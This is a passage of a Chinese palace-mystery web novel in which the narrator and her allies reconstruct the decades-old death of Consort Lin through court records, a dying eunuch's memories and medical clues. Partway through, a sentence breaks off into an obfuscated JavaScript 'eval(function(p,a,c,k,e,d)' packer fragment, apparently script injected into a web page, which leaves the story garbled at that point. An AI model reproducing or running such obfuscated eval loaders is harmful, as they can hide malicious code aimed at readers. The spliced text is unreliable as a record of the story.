谢宁轩颔首:“是,此案我不了解。但今晨得了皇后的传话,我便去问了父王,他是知情的。” 原来五年前平反,圣上提前问过齐王意见。不在宫闱长大,对高岭之变全无参与感,齐王反而能比较客观看待先帝当年的狠厉处置。 “那,沈渊博当年到底做了什么,被冠上附逆二字,还是在逆案查察终结之后?” 谢宁轩再次谨慎的瞥一眼窗外,方压低声音道:“高岭之变平息后,沈渊博上了一封奏折,要求先帝自查动乱根源。” 先帝对元谪太子极为宠爱,不但周岁时便立为太子,少年时更亲自教养,授予远超于东宫的权力。事实上,元谪太子监国前,已经对朝政十分熟悉了。 元谪太子聪颖果毅,本君主之才,却困于情谊,对母后言听计从,实为隐患。先帝却认为他纯孝之心,未曾敲打。 “难道胡氏权势滔天以致祸国,是元谪太子放任的?”我听懂谢宁轩的言外之意后,惊得合不拢嘴。 “可以这么说。元谪太子在十二岁第一次参与朝政时,就给自己的舅舅升了官。先帝知道后却一笑而过,以致元谪太子日后重用外戚,半个朝庭都归了胡氏。” “难道先帝不管?” 先帝管啊,可先帝实在太宠太子,又寄予厚望,觉得太子培植亲信也有利于将来坐稳江山,故而处理起来总是浮于表面。尤其康元十四年太子正式监国后,先帝更是将选任宰相的权力都交给了太子,导致了后来的失控。 等到先帝察觉不妥,太子羽翼已丰,竟到了能与先帝抗衡的地步。先帝却仍对太子抱有幻想,认为父慈子孝,太子总归会听话的,便对太子下旨要求清查胡氏一党。 太子本就对母亲愚孝,胡家哪个人都是母亲的亲人,太子如何下得去手? “所以呢,太子顶撞先帝,才会发动政变?”我刚问完,忽又意识到不妥。 如当面顶撞,或许先帝就能意识到自己的天真,或许就不会酿成来日之祸了。 “那么,”我慢慢说道,“太子是阳奉阴违了吧?” “聪明。”谢宁轩弯弯嘴角,“没错,元谪太子表面上应了,实际根本没动。但先帝让他监国,自己也不是就去当那不管不顾的太上皇,所以这事,没瞒得过先帝。” “先帝总算看明白了,太子不会动胡氏一党,这才打算自己出手。但胡氏一党事先察觉,进而蛊惑废后与元谪太子,发动了政变?”我猜测道。 见谢宁轩颔首,我又问:“可这些和沈渊博有什么关系?” 沈渊博其人古板刚直,身为言官可谓尽心尽职,参同僚参上司,参太子参帝王,满朝上下就没有他没参过的人。弹劾理由也五花八门,工作不尽心,上朝晚了会,家宅不宁,宠妾灭妻,连菜多上一道,侧室穿了越级的裙衫,都不放过。 圣上幼年养在朱雀宫时,琳妃就没少抱怨过哥哥不懂过刚易折,不屑人情世故。 “康元二十年有一日,还是皇子的圣上下了学,听到养母琳妃正与哥哥吵架。原来沈渊博正接连上奏称外戚土地兼并,以致流民失所。而先帝在上朝时直接驳回了。琳妃担心不已,特招来劝谏。可沈渊博对妹妹所劝莫要强出头之词,却反应很大,言辞激烈,指责妹妹为了地位忘了本心,惧怕权势失了忠直。话语中,竟还有些许指责先帝放任之意。圣上当时就吓坏了。” 我心中顿起波澜,莫名想到了那让张居正都头疼的海瑞。 “这还只是个例。”谢宁轩叹道,“事实上终先帝一朝,沈渊博就没有停止对外戚及太子不端的弹劾。及至康元二十年,先帝再三驳斥,他也不管不理。” 我对谢宁轩的用词生出些疑问:“先帝为何再三驳斥,难道胡氏一族行径,先帝毫无察觉?” 谢宁轩轻嗤,反问道:“你以为先帝为什么一个月就平反了叛乱?羽林军怎么就那么巧,能在元谪太子领兵合围皇宫前护先帝逃生?” 我倒吸一口冷气:“你是说,先帝对政变早有察觉?那为何会放任至叛乱,怎不早些收拾?” “既已危机四伏,处处都有埋伏,与其一个一个拔除,不如一把火以雷霆之势烧之,方除的干净。” 所以当年先帝是做好了准备铲除的。恐怕也有对元谪太子的幻想,始终不愿相信太子真的会对自己下手,才一直耽搁到政变吧。 那么沈渊博的参奏,自然得不到先帝任何支持。沈渊博未领会到这一层,言语中还对先帝颇为抱怨,传到先帝耳中,自然落不到好。 但他又如何能与逆案牵扯?高岭之变都结束了,怎么又遭遇洗刷? 谢宁轩抬头看了看窗外,日头正好。 他幽幽道:“羽书,你记住,帝王也是人,也会恼羞,也会报复。沈渊博刚直不阿,颇有历朝历代言官不畏死的气节,在先帝朝带起一鼓风气,不少言官效仿,沈氏一门更以他为豪。但先帝,偏偏最不喜欢这种没眼力见儿的臣子。动乱之前,先帝其实就多次贬斥了。” 及至高岭之变后,面对捧在手心的太子一朝反了,高岭之变将成为史书中永久的黑点,先帝正处于恼怒痛心阶段,沈渊博又跑去追究什么“动乱根源”。 动乱根源是什么? 先帝在教养太子中有所过失,在朝局中过早放任太子权力集中,对外戚壮大未能一早清除以致后患无穷。动乱的根源,是一国之君的先帝,朝政中有着不该有的疏漏。 你要求先帝清查动乱根源,这和要求他下罪己诏,有何区别? 事既平息,聪明人就该向前看。非要辩驳出罪行根源,非要道个君臣是非,难道不是自寻死路?何况,沈渊博的身后,还有无数瞪大了眼拭目以待的言官群体。 先帝终于被激怒了。 “一开始对沈渊博的处置,和叛乱无关,也没涉及家门。”谢宁轩阴沉的说,“是沈渊博不依不饶,一条一桩指责先帝之误,甚至于竟拿元谪太子以前革新被驳回的奏章说事,终于把先帝逼得勃然大怒,顺势扣给他勾结逆党之罪行。而沈氏家族接连上书,为沈渊博喊冤,也为祸及满门埋下了引子。” 我“啧啧”着摇了摇头。 历史上能有几个唐太宗,又有几人能成为魏征? 这已经不是刚直不阿,而是愚蠢了啊。 “那,琳妃从昔日宠妃,到身故后竟没有享皇家祭祀,亲生公主亦受冷待,也都是被沈渊博牵连的了?” 谢宁轩点头:“嗯,琳妃在世时,没少替哥哥求情,先帝或是因此,才会对她身后事如此绝情。终先帝一朝,沈渊博逆案无人敢提,成为逆鳞。那真是恨得牙痒痒。圣上曾对我父王说过,就他曾养在琳妃膝下 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谢宁轩颇感意外,他眯了眯眼,缓缓道:“皇后知道……嗯,那我就理解了。怪道我禀告宫中证人迟迟无法寻找,圣上会说交给他了。原来是让皇后代劳了。怎么,皇后寻到了?” 皇后管理后宫,自可不动声色的查访宫人下落,这应该就是圣上告知的原因。 经过一段时间的梳理,她找到了那两个关键太监。然而经历那场暗无天日的噩梦,其中一人精神失常,时有风言风语,很快便死在了宫中。 “但活下来的还有一个太监,一直健在。此人本就是朱雀宫的外围太监,事变后被安排在御花园负责洒扫,不知是不是阴影过重,还曾改过名,平日里谨小慎微,十分不起眼。这或许就是你们没有追查到的缘故。” 谢宁轩想了想:“嗯,有可能。皇后毕竟在宫内,调查起来还是要比我们便利。那她询问此人了吗?” “不曾。”我摇了摇头,“皇后说一来她不擅此道,又是私下调查,极为缓慢,也是前不久才理清线索。二来则因这太监年岁已高,有些糊涂了,身子骨也不行,三天两头生病。自查到后,他一直患有头风,起不得床,尚无法回答问题。” 谢宁轩沉吟道:“他是外围太监?也不知道能提供多少线索。” “但至少是当年的旧人,经历过那夜,聊胜于无嘛。” “那就建议皇后以春分施恩为名义,给下等宫人安排太医检查,就可着重为此人医治。我来安排吧,之后也得让皇后想办法将此人弄到凤仪宫,你才好询问。否则阳远忽然见个上了年纪的洒扫宫人,这消息传到太后耳中,或许会生疑。” “我明白,昨日我也和皇后强调了,相信不日就能安排。这也是我说再等几日的缘故。” “那,”谢宁轩温柔的拉住我的手,还有些不放心,“你真的不和我出宫了?” “不了。我爹那边,你帮我安抚,好吗?别让他操心。” “好。羽书,珍重自身,别为了查案犯险,就当为了我……” 话没说完,外间传来姑姑的声音:“谢侍郎,王妃用完早膳,就要告退了。” “知道了。”谢宁轩打发道,回首在我唇间印下轻柔一吻,“一定注意安全,别离开阳远独自行动。” 我点头应了,看着他依依不舍的往外走,脑海中出现一段对话,忙又冲过去:“哦!有件事我必须给你说!孟府都查到秋水镇去了,或许把猩猩衙差都抓来了!” 162.回忆 见过谢宁轩的第三天,春分大典已经结束,太后出了大佛堂,宫内生活一切照旧。 这日午膳后,凤仪宫再次请郡主赏画,我和郡主便知,皇后来践诺了。 果然,来到凤仪宫,我们被直接带到了后院柴房。在堆放的柴火旁,一张油斑污糟的木床上,正躺着一个头发花白的老人。 这应该就是琳妃宫中唯一活下来的太监了。 皇后能把他弄来,应该代表他病好了,才不会引人注目。可闻着浓郁的药味,瞧他干枯面容,浑身都有一种腐朽的味道,似乎是死神在召唤。 一个小太监先走了进来,朝我们打了个千儿后,就将一碗药灌进了他的口中,一面说道:“老连头,你攒下的银子,已经交到你侄儿手中,娘娘还另外恩赐了五十两,你可以放心了。接下来,两位贵人问你什么,就回答什么,不得有隐瞒,明白吗?” 老连头眼神浑浊,猛地灌药让他呼吸都跟不上,但还是不敢不点头。 小太监没再理会他,而是走到我们面前,低声道:“郡主,太医说他没几天活头了。娘娘吩咐,请您抓紧时间问。” 难怪皇后冒险,原来是治不好了。 我停止了感慨,直奔主题:“连公公您好,您别怕。我们只是想问几个问题,您知道多少,还记得多少,如实回复就是了。” 老连头方才被小太监扶起靠墙坐着,脸上是衰败的蜡黄色。他说话已经断断续续,气力不足,但态度却还恭谨。 “贵人、贵人客气了,唤老奴、老奴老连头就是了。贵人、贵人想问什么,老奴一定、一定尽心回答,报答皇后、皇后娘娘之恩。” 看来皇后已经做了抚恤工作了,无需我们多费口舌。 郡主看了我一眼,先问道:“老连头,二十八年前,你是在朱雀宫侍奉的,对吧?” 老连头抬眼,浑浊的眸子有一股清泉流入:“是、是啊。” “那关于当年你的旧主琳妃,你还记得多少?” 老连头费力支撑起身子,似乎想朝我们靠近些。但力气不允许,这简单的动作都令他直喘气。“老奴、老奴年纪大了,身子骨不、不行了,可关于琳妃娘娘,老奴倒还真的、还真的记得不少。” 郡主惊喜:“是吗?那你快说说,她是个怎么样的人啊?” 同样的问题,我问过牛公公,可对比后者不多的描述,老连头回答就详实多了。许是往日的记忆给了他极大的安抚,就连说话都顺畅了不少。 “老奴、老奴入宫五十载,伺候、伺候过很多主子,可琳妃、琳妃娘娘啊,是老奴遇到过,最好的人。她从不打骂我们这些当奴才的,还经常夸赞、打赏我们。老奴、老奴那时候在朱雀宫外围洒扫,病了痛了,娘娘都亲自来瞧。 “娘娘、娘娘教养皇子公主也极为上心,每每问询功课,亲自绣花制衣。皇子公主有了病痛,她更是、更是日夜陪伴,自己个儿时常饭都顾不上吃,就随口吃两块瓜果饱腹。她本来身体就弱,这么一来,更是、更是病倒过很多次,太医都劝谏过多次。” 嗯,这和她的起居注记载也相符。 接下来,老连头说的讯息,倒不曾有人提过。许是他年岁大记忆错乱的缘故,讲述中人物时常混淆,但也不并影响我们理解。 “娘娘写得一手好字,素日里不照看皇子公主的话,就在屋里练字。圣上不止一次夸她,说字体磅礴大气,当朝学士都比不上。圣上还玩笑过,让娘娘做五皇子的书法、书法老师呢。 “有一回啊,皇后娘娘身子不舒服,半夜唤珍妃去侍疾。珍妃白日里、白日里才刚给生了病的五皇子擦身,累的起不来,我们娘娘就替她去了。皇后不依不饶的,让我们娘娘在风口站了一整夜,早上回来的时候,膝盖都动不了了。 “圣上可喜欢我们娘娘了,老来、老来朱雀宫,淑妃也不高兴。有一天来找茬,竟向我们娘娘泼茶,但被珍妃挡下了,还祸及了来做客的静嫔。哦,说起来这静嫔啊,她失了皇子之后,也总来我们朱雀宫,五皇子有不少衣服,也是静嫔给做的。 “但要说交情,没人、没人比得过珍妃娘娘了。她经常把御赐的贡品赠予我们娘娘,有一回圣上瞧见了,还夸她们姐妹情深,又一样赏了一遍呢。 “哦,对了,我们娘娘还答应冰清,要给她找门好亲事,必不让她在宫中无依无靠。不等二十五岁,就会把她放出、放出宫去。冰清羞得呀,跑出来的时候都撞到老奴了。” 郡主瞥了我一眼,示意我留神。没错,冰清,就是那个被废后胡氏收买,给琳妃下毒的贴身丫鬟。 郡主对他天马行空、意识流一般的回忆不太感冒,抓住机会想要追问。我却拦住了郡主,朝她摇头。 这恐怕是这个行将朽木的老人最后一次回忆了,今日之后,估计也没人愿意听他絮絮叨叨。何况,有时直白的问询,往往得不到答案。线索,就隐藏着一个一个看似没有章法没有系统的回忆片段中。 而且,说实话,琳妃已经是个死人。关于她的生平,已经是纸面上冷冰冰的文字了。可在老连头的描述中,她依旧是鲜活的,形象也终于立体了起来。 接下来,老连头又讲了许多回忆,有的是她与圣上对弈的趣事,有的是她训斥多荣公主时流下的眼泪;有讲她失去亲生儿子时的崩溃与无助,有讲她日夜陪伴珍妃度过了后者丢失次子时最艰难的时光。 而除了这些善良品质的体现外,出现最多的就是琳妃在练字。在老连头一连讲了四五个重复的片段后,郡主实在坐不住了。 “他的回忆打圈了!”郡主附到我耳边,“别听他扯闲话了,还是直接问吧!” 唔,好像是开始糊涂了,确实耽搁不得了。 我赶忙轻咳两声,将沉浸在旧日时光中的人请了出来。 “连公公啊,您讲的我们都听懂了。那您能不能再回忆回忆,康元二十年,七月七日晚的事呢?” 老连头茫然的看着我,眼神呆滞。 我心说不好,难道重点反而忘了? 可下一秒,老连头的脸上出现了恐惧之色。他猛然往后缩,似乎想要钻到墙壁中去。本就蜡黄枯瘦的脸上出现一种格格不入的血色,令他的面色显得有些可怖。 郡主朝我身后挪了挪。 我意识到自己说的太直白了,慌忙制止:“啊,不是!不是高岭之变!不问这个,不问这个!连公公,我知道,我知道您受苦了,那一个月刀光剑影、生死难料,您活下来是多么的艰辛。我都知道,我都知道!” 我拔高的声音,安抚的语气,有了效果。老连头慢慢停下剧烈的颤抖,可他的脸上,已经流淌了不少眼泪。 “可怕!可怕!”他不可自控地喃喃着,“到处都在杀人,到处都在死人!朱雀宫烧了,没了!汤良血流了一地,翠萍眼珠子都不见了,小喜、小喜被那些人带走了,带走了!呜呜呜呜……” 老连头捂着脸哭了出来。 郡主已经缩到了我的身后,我听得也不是滋味。可是,不能再让老连头沉浸在那一夜了,我得赶紧把他拉出来。 “连公公,你别怕,所有叛军,所有乱党,都死了,都死了!再没有人会对你们不利,再没有人会害你们了!” “真的,真的吗?”老连头抬头看我。这一刻,他像个无助的稚子。 “真的,真的!”我语气笃定,上手拍着他的肩膀,让他渐渐平静下来。紧接着,我又谆谆诱导,“连公公,你的主子,那善良温柔的琳妃。那一晚,你还记得她在哪里吗?” 老连头身形一晃,老泪纵横:“娘娘,娘娘,我们娘娘,她死了,她死了!” 眼见老连头又要崩溃,我忙趁势攻心:“是谁,是谁害了她?连公公,你快想想,咱们得报仇啊,得报仇啊!” 老连头一怔,旋即露出苦涩的笑:“可奴才、奴才没看到啊!” 饶是早有心理预期,我还是免不了失望。 郡主更是叹了口气,从我背后钻出一个脑袋,轻声问:“什么都没看到吗?那一晚,都有谁进过你们朱雀宫,琳妃都见过谁,都没看到吗?” 郡主这么一说,老连头好像被触动了记忆,他猛地坐直身子:“啊,静嫔,静嫔 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“饭?饭?”老连头脸色已趋近惨白:“吃饭了吗?吃饭了吗?啊,是啊,那天圣上来了啊,圣上陪娘娘吃饭的呀!” “可圣上走了,不是吗?” “走、走了……啊,是,圣上走了!圣上被叫走了,娘娘还把冰清也遣走了。冰清出来的时候只拿了四个餐盖,还是奴才接了的。她说娘娘心情不好,让奴才们都别去打扰。” 冰清出来的时候只拿了四个餐盖?这是什么意思? 我潜意识觉得这是一条很重要的线索,但是却没时间静下来想。只继续问道:“那之后琳妃还唤人进殿服侍过吗?” 老连头摇头:“汤良在扫地,翠萍和小喜在后院熬药,其他人……没、没有叫人进去啊。” 郡主狐疑的问:“那琳妃素日里会自己个小酌吗?” 老连头摇了两下头,却没有准确回答。“娘娘、娘娘牵挂着孩子们,哪有心情啊!那天中午,她就没有吃饭。晚膳之前,冰清说娘娘前两日吃的梅子没了,叫奴才端来绿瓜给娘娘切了几块,说让娘娘垫垫肚子。可圣上就来了、就来了啊。冰清也被娘娘遣走了。她、她牵挂着娘娘,做事都毛躁起来,奴才去柴房前还看到她险些跌下台阶崴脚。” 绿瓜?那是什么瓜?冰清在自己宫中还崴脚? 没等我思考,老连头忽然再次激越:“娘娘,娘娘怎么就没了?你、你知道了?你是不是来查娘娘之死的,你快帮帮娘娘,你快帮帮娘娘!” 话没说完,也不知哪里来的力气,他猛然起身朝我扑了过来。我完全没有设防,径直被他掀翻在地。 郡主吓坏了,嗓子里溢出尖叫。立马冲进来几个太监,齐齐按住了老连头,就要绑上他。 我爬起来,上前说情:“轻些,轻些!他只是激动了些,别伤害他!去找太医吧!” 郡主却心有余悸:“你还是先看看你自己伤到哪儿了吧!”说罢,就扯着我往外走,“好了,别问他了!你看他那个样子,已经糊涂了!而且,他只是个外围洒扫的太监,他能知道什么啊!” “但他是唯一活下来的人了!”我坚持,挣开郡主的手想往回走。偏巧这时一个丫鬟端着一盘切好的梨从小厨房走出来,险些和我们撞到一起。 “郡主、郡主安好!奴婢,奴婢冲撞您了!”那丫鬟吓得要命。 郡主抬抬手,不耐烦的示意她走。 我却下意识伸手挡住了她。小丫鬟惊恐的看着我,郡主亦皱眉:“怎么了?” 我像是魔怔了,眼睛盯着果盘里的梨,感觉有无数的情绪一瞬间从四面八方涌来,将我的理智放了灶台上熊熊烧着。 餐盖,起居注,绿豆汤。酒,静太妃,冰清。瓜果,贡品,太医院。 啊,难道…… 一个不可思议的想法在我脑海中萌生,我猛地抓住郡主的胳膊,眼神失焦,声音失控。 “快,我得见皇后!还得去一次内廷司,还得翻一次记录!” 163.解谜1 入宫第十二天,我怀着忐忑的心,来到了凤仪宫。 三殿下和谢宁轩已经在正殿等待皇后,一面说着:“……私离营地,确定了吗?” 谢宁轩颔首,表情凝重:“嗯,宋璃已经知道了。” 话音刚落,正逢我和郡主进殿,他迎上来关怀的问:“有十足的把握了吗?不急于一时一刻的。” 我点点头,压下心中起伏,又问:“医书带来了吗?” 谢宁轩拍拍胸前,侧室已传来声音,是皇后出来了。她走到凤座坐下,居高临下的看着我们,脸上没有笑容,声音没有温度。 皇后身侧的姑姑遣走所有下人,自己也出去后,皇后便问:“怎么,这就查清楚了?” 额头渗出些冷汗,我低头禀告:“回禀娘娘,民女的确查到了一些证据,能够理清先帝琳妃之死的因果缘由。” “进宫几天了?倒是挺快。莫不是随意拉扯来诓本宫?” 谢宁轩拱手:“皇后娘娘,羽书并非坑蒙拐骗之辈,她素来聪颖细心。入宫时日虽然不长,但每日都围绕着案件,可谓投入全部的心思,想来短时间查出真相,并不离奇。” “是啊娘娘,”郡主也道,“义妹夜里说梦话都叫着琳妃的名字,真的是一门心思在破案。娘娘先别质疑,先听完嘛。” 三殿下剜了妹妹一眼,上前放慢了语气:“娘娘,此案自静太妃故后,圣上交由微臣与宁轩核查,已有一年。我二人追查了二十八年来或贬谪或恩放出宫的太监、丫鬟、侍卫等合计一千三百八十七人,因此耗时长久,以致耽搁查案。义妹入宫虽只有十二天,但她查到的真相亦是在我们前期一年多的核查基础上完成的,因此,短时间发现真相,并不算突兀。” 皇后轻哼一声,端坐姿势丝毫未变。“你倒是有些能力,瞧这几个人把你护的。行吧,那就讲讲看,琳妃到底是怎么死的。” “是。”我应了一声,紧张的直冒冷汗。余光扫到谢宁轩朝我颔首,这才略略镇定些,开始了讲述。 “琳妃之死,按照时间顺序来讲,第一个要说的是废后胡氏。康元二十年七月七日夜,为发动政变,废后胡氏买通琳妃身边的丫鬟冰清,在琳妃与圣上共同用的晚膳酒水里下了毒,圣上因故离开。琳妃是否喝酒,成为废后胡氏是否为真凶的关键。”我顿了顿,“先说结果,琳妃没有喝。” 皇后静静的瞧着我,没有说话。 我心里有点发毛,不自觉瞥向谢宁轩,他的眼中是鼓励和赞赏。旁边的三殿下也眨眨眼,示意我大胆的说。 我吞下疯狂上涌的口水,继续道,“民女有证据两则。第一,太医院看门的太监牛公公,在太医院呆了三十年。先帝时期,他是陪伴太医入宫的太监之一。他向民女描述过,琳妃体弱,时有气血不足之相,且经常因照顾皇子公主而疲倦不堪,太医嘱咐需静养。” 说罢,我从怀中掏出一张折叠的宣纸,“这是从太医院的记录中抄写的琳妃药方,民女随机抄了几条,时间不等。请娘娘过目。” 我举着药方恭敬地低头,却不见人来拿。抬头一看,皇后正看傻子一样看着我。 哦,对哦,丫鬟都遣出去了,我这是等谁来拿呢? 一旁的谢宁轩看不下去了,伸手接过方子上前递给了皇后。转身走来时朝我努嘴,似乎在叫我别怕。 我再次深吸口气,努力让自己的声音不颤抖。 “娘娘请看,不同时期、不同阶段的方子里均有一味药材——当归。众所周知,当归忌酒。早期琳妃的药方中也的确有‘忌酒’的明确医嘱。许是因她几乎每隔几天就得喝上一副,太医便逐渐简化了医嘱用词,以致‘忌酒’二字少出现。但这就代表着,琳妃本身很清楚,自己的身体是不适宜饮酒的。” 皇后总算开了口:“这么说,当日的晚膳上酒也是因为先帝在。先帝一离开,她应该不会单独小酌?” “娘娘睿智。”我赞同,又从怀中掏出一本册子。这次我直接翻到相对页数递给了谢宁轩,后者也很配合的上前递给了皇后。 “除此外,民女还有第二个证据,就是娘娘眼前的这本太医院记录。” 皇后看了一眼:“废后胡氏的就诊记录?” “是,娘娘。您看的那一页,正是康元二十年七月初五,也就是高岭之变的前两天。废后胡氏患了头风。” 贤太嫔曾说过,废后胡氏在位期间,每每有小疾总会命令妃嫔夜晚侍疾,且都是临时通知,不得不去。 “您看这记录,直到七月初七早上,还有太医的问诊,说明这场头风持续了两天还没好。也即,当晚,对于后宫妃嫔来说,都会认为随时可能被叫去侍疾。而胡氏饮酒骨痛,后发展为讨厌酒气,还处罚过带着酒气到她宫中问安的妃嫔。琳妃一向谨小慎微,就更不可能喝酒,明知故犯触怒胡氏了。” “这么说是有些道理。还有其他证据吗?”皇后问。 “其实还有第三个证据,不过应当与接下来淑妃的毒汤结合一起讲,还请娘娘允民女先不说。” 皇后没有第一时间应允,吓得我额头又开始冒汗。好在,一阵寂静之后,皇后让我细说淑妃之谋划。 “是。”我恭敬地点头,接着讲述,“关于淑妃的毒汤,先说结论,民女认为,它也不是导致琳妃死亡的原因。” “怎么讲?” 第一,就是琳妃脾胃娇弱,不太可能在立秋后的夜晚喝绿豆汤的推论。 皇后不太信服,我又赶紧接着往下讲:“第二,则是因为当晚的菜色。” 太医院的牛公公在被我们攻破心理防线后,对琳妃的描述其实并不多。并非因为琳妃问诊少,相反,她隔三岔五就会传太医,但她每次的病症、小毛病和太医的嘱咐都差不多,并没有格外的记忆点。 所以我只能问起与她相关的其他人。从牛公公口中,我得到一条线索——先帝也时有因脾胃不调而传太医。 这立刻让我想起了起居注中也有类似的记录。太医的确叮嘱先帝少吃荤腥、戒油戒辣,但是先帝并没有谨遵医嘱,依旧时不时闹腹泻。 这就说明,先帝就好那一口,饮食习惯就是偏鲜辣。 那么再回头看起居注中当晚琳妃宫中上的菜,就很有意思了。这一道道不是辣就是荤腥,要么就是圆子一类不宜消化的食物,再加上解暑的绿豆汤,符合谁的味蕾?总不是疲倦体弱需要休养的琳妃吧? 何况,太医院记录也写着,琳妃饮食素来清淡。 “所以你认为,当晚的菜色以先帝喜好为主,先帝若进食,琳妃自然陪伴。但先帝离开了,琳妃也就没有吃了?”三殿下见皇后未曾表态,索性自己问道。 我还没有回答,上首的皇后哼了一声,显然,这个结论皇后也不服。 所以我赶紧搬出第三个证据:“还有就是,当晚拿出来的餐盖。” 这段时间我在慈宁宫、未央宫皆目睹了无数次宫中用膳的规矩。每道菜上菜前都盖着盖子,盖子拿开后,均要银针验毒后方可食用。 这一点我和郡主核实过,不仅是太后、圣上、皇后,这宫里的所有妃嫔、皇子、公主,吃饭前都有这自开国就立的规矩。这也能理解,谁叫皇家人命金贵呢? 但这就延申出来一个问题。 朱雀宫外围侍奉的太监老连头说过一句话,说他在案发当晚接过冰清递出来的四个餐盖后,冰清就走了,按照琳妃的吩咐跟着先帝去皇子居所查看了。且之后,没有宫人再进入过殿中。 可是当晚起居注记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“其实,静太妃的作为是很难察觉的。按照她本人的说辞,她是进入到内殿,趁着朱雀宫丫鬟没陪在琳妃身边,琳妃又躺在床上睡着时,动了歪心思下的手。可这里讲不通。” 首先,静太妃进去时看到了先帝匆匆而去的背影,说明时间尚早,那琳妃怎么就睡下了? 其次,先帝离开的原因是听闻皇子病了,琳妃本也要跟着去瞧,先帝体恤她才没允,但她还是把自己贴身丫鬟派去了。这就说明,琳妃牵挂着皇子,牵挂着先帝。那她怎么又安心睡下,以致竟没察觉有人进来了呢? “第三,静太妃是深宫妇人,养尊处优。自己又因失了孩子自此愁思郁结,起居注上也留下了不少问诊记录,说明她也是个娇弱不堪的妇人。” 那么,临时起意,就靠一双手掐住一个大活人的脖子,就把人家掐死了? “逻辑上,的确讲不通。”说话的是三殿下,他看向我,表情很认真,“我和宁轩也曾对此怀疑过。但也有一种可能,就是琳妃当时也不舒服,她一直在照顾多荣公主,也没怎么进食与休息,或许也没有多少力气反抗。静太妃既然下手了,那一刻,妒火压过了理智,心神提着,高度紧张着,力气爆发,也有可能啊。” 的确,精神力量引发的肾上腺素,不可小觑。 医馆案中的老管家,不就是靠这个,勒死了年富力强的西元堂少东家吗? 但是,老连头的回忆,却把这个可能性推翻了。 “连公公说,案发当晚他去了浣衣局,回来的时候,看见丫鬟冰清进到殿里抱着琳妃走进了卧房。接着冰清就走出来又一次吩咐他去劈柴,他刚应了扭头,却见冰清下阶梯没站稳,险些扭了脚。之后,冰清出去了。” 这段回忆,其实提供了两个重要的细节。第一,冰清是抱着琳妃进到卧房的。一个成年人,哪怕半夜睡着了,被人从椅子上抱起挪到床上,怎么会毫无察觉?琳妃素来行事稳妥,又不是欺压下人的主儿,但凡有理智,怎么可能让丫鬟抱她去床上? “那你的意思是,”谢宁轩眯了眯眼,点出了事情的关键,“当时琳妃已经死了?” 164.解谜2 郡主咂舌,皇后也挑了挑眉。 但我看着谢宁轩,却感到很心安。他也作出了相同的推测。 “根据连公公接下来的描述,也能证实这一点。毕竟冰清的反应,也耐人寻味。她在自己的宫中,下阶梯没站稳,还差点崴脚。明明白天劈过柴了,那会儿又吩咐连公公一遍。如此矛盾又莫名的行为,足以说明……” “她在心虚。”谢宁轩寥寥数语。 是啊,若非心虚,若非以为自己的毒酒害死了主子,冰清怎么会有这么奇怪的行为? 如果琳妃这时候还活着,为什么会被抱到床上而没醒?如果琳妃是太累了,睡熟了,冰清不陪着,为什么又出去了?要知道,她再次出现在连公公的回忆中,是带着废后胡氏来的。她若不是以为自己闯祸了,为什么会去找胡氏复命? “所以,静太妃当日动手掐了。”三殿下听明白了,说出结论,“但当时床上的琳妃,已经是一具尸体了。” 郡主惊呼了一声。 上首的皇后也皱了皱眉,似乎很不习惯这个说辞。 但他说的没错啊。 老连头的回忆中,静嫔也是出现过的。他得了冰清的吩咐,去柴房看了看就出来了,刚好看到静嫔步履匆匆走了。 这段时间,我除了查几个关键人物的生平,还曾因“长乐宫”的位置,怀疑静太妃“顺路”之说。但在贵妃处翻阅舆图,我证实了猜想,高岭之变后,静嫔果然换了个住处,却沿用旧名。 也即,“顺路”来到朱雀宫,一时邪念上脑,这都是说得通的。 而查找舆图,亦带来了另一个意想不到的惊喜,即对各个不同规制的宫殿大小尺寸,有了清晰的认知。 询问老连头,我们是在后院柴房进行的,还记得吗? 而二十八年前的老连头,也曾被冰清遣去柴房劈柴。 凤仪宫乃后宫规制之首,规模最大。我们从问询老连头的柴房走到正殿,花了也就三分钟左右。 老连头当年却只是去柴房看了一眼,就回到前院了呀。那还是规制不及凤仪宫的朱雀宫,能花多久? 这时,静嫔都已经进殿、起念、动手、离开了。 这得是什么效率,这得是多身强力壮的人,才能徒手秒掐活人? 所以,结论很清晰。当晚,静嫔进去了,恶从胆边生,她的确掐了琳妃。但一个世家女子、深宫妇人,估计连鸡都没掐死过。她根本就判断不出,自己到底有没有致死他人。 换句话说,静太妃这么多年忏悔的,其实就是那一刻被嫉妒冲昏的头脑,被歹意蒙蔽的心智。当然,她也实在实施了犯罪的行为,也不值得为她开脱。 “那照你这么说,”皇后听明白了,“废后胡氏的毒酒,淑妃的毒汤,琳妃都没有碰。可静太妃进去的时候,甚至在她之前,丫鬟冰清进去的时候,琳妃就已经死了。那本宫倒是想问问,她到底怎么死的?凶手不是这三个人,又是谁?” 皇后的目光凿凿,像一柄剑朝我刺来。 的确,这桩案子从头查到尾出现的可疑分子就他们三个,与圣上掌握的没有出入。现在我介入查了,倒把三个人都洗白了。皇后质疑我也是正常的。 但是真实的原因,我又该怎么解释? 我求助的看向谢宁轩,后者朝我点了点头,从怀中掏出了一本手札。这是我拜托他去太医院副院首处取来的,由后者花费一年写成的、在慈宁宫提过一句的医书——《瘾疹集》。 没想到,当日只是偶然听到,它竟帮了我大忙。也要拜副院首起名直白所赐,一听就知道医书写的是什么内容,正好对症。 “这是什么?”郡主凑过来问。 我无暇回答她,只感觉上面的人眼神越发冰冷,赶忙解释:“娘娘,民女在这段时间的调查中,发觉了一件事情。便是琳妃身子骨特殊,她患有一种瘾疹。” 皇后嘴角轻轻下撇:“什么?” 谢宁轩替我解释道:“瘾疹,郎中的一种叫法,有时也会称呼为‘风邪’,指的是人对某种东西、某种食物、某个季节,身体出现不良反应的情况。比如有些人吃不得花生,一吃就长疹子,就叫做‘风疹’;有些人闻不得鲜花,一闻浑身就长癣。” 郡主惊愕不已:“还有这种事啊?” 三殿下看了一眼上首的皇后,递眼风给妹妹示意她少说话。可郡主完全没察觉,仍然问我:“那琳妃碰不得什么?” 我继续从怀中掏册子,这次,是从内廷司带来的一本起居注。上面记载着,朱雀宫在康元十六年涂抹新漆,琳妃就出了红疹,传了太医。此类记录随便翻翻,在琳妃的起居注中并不少见,也能与太医院的记录对照。 琳妃,身子经常起疹子,还常有打喷嚏停不下来的情况。 “那又如何?这和她的死,有什么关系?” 我没有回答郡主的问题,看着她,却提起了另一桩事:“姐姐,你可还记得,在太医院的时候,我们翻查过废后胡氏的记录。” 郡主点头。 